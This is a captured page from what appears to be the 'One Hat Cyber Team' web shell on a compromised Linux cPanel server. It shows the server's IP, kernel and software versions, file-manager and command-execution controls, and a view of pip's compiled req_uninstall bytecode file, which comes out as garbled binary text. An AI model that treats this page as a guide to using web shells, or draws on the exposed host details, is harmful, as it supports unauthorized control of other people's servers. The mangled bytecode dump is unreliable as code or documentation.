⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
178.33.27.10
Server:
Linux cpanel.dev-unit.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software:
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
PHP Version:
8.2.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3.6
/
site-packages
/
pip
/
req
/
__pycache__
/
View File Name :
req_uninstall.cpython-36.pyc
3 �υ_� � @ s� d dl mZ d dlZd dlZd dlZd dlmZmZmZ d dl m Z d dlmZm Z mZmZmZ d dlmZ eje�ZG dd� de�ZG d d � d e�ZdS )� )�absolute_importN)�uses_pycache�WINDOWS�cache_from_source)�UninstallationError)�rmtree�ask�is_local�renames�normalize_path)� indent_logc @ sZ e Zd ZdZdd� Zdd� Zdd� Zdd � Zd d� Zdd � Z ddd�Z dd� Zdd� ZdS )�UninstallPathSetzMA set of file paths to be removed in the uninstallation of a requirement.c C s, t � | _t � | _i | _|| _d | _g | _d S )N)�set�paths�_refuse�pth�dist�save_dir�_moved_paths)�selfr � r �#/usr/lib/python3.6/req_uninstall.py�__init__ s zUninstallPathSet.__init__c C s t |�S )zs Return True if the given path is one we are permitted to remove/modify, False otherwise. )r )r �pathr r r � _permitted s zUninstallPathSet._permittedc C s� t jj|�\}}t jjt|�t jj|��}t jj|�s:d S | j|�rR| jj |� n| j j |� t jj|�d dkr�tr�| j t |�� d S )N� z.py)�osr �split�joinr �normcase�existsr r �addr �splitextr r )r r �head�tailr r r r! # s zUninstallPathSet.addc C sL t |�}| j|�r<|| jkr*t|�| j|<